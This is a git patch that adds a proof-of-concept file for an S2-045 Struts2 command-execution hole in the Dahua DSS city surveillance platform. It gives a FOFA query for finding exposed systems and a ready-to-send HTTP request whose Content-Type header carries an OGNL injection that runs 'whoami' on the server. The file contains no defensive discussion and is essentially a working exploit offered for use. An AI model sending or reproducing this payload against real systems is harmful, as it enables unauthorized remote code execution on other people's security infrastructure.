From 9992c605ade7a212f247b3a57de74bc2d8bff880 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 26 Mar 2024 09:10:47 +0800
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 ...SS城市安防监控平台Struct2-045命令执行漏洞.md | 21 +++++++++++++++++++
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 create mode 100644 大华DSS城市安防监控平台Struct2-045命令执行漏洞.md

diff --git a/大华DSS城市安防监控平台Struct2-045命令执行漏洞.md b/大华DSS城市安防监控平台Struct2-045命令执行漏洞.md
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+++ b/大华DSS城市安防监控平台Struct2-045命令执行漏洞.md
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+## 大华DSS城市安防监控平台Struct2-045命令执行漏洞
+
+
+## fofa
+```
+app="dahua-DSS"
+```
+
+## poc
+```
+POST /admin/login_login.action HTTP/1.1
+Host: {{Hostname}}
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
+Content-Length: 0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Encoding: gzip, deflate, br
+Connection: close
+Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
+```
+
+![d70641d29329f1c3341d7924b0e8b5f4](https://github.com/wy876/POC/assets/139549762/9f56d7e8-b3d4-4f70-986c-a601b7239c24)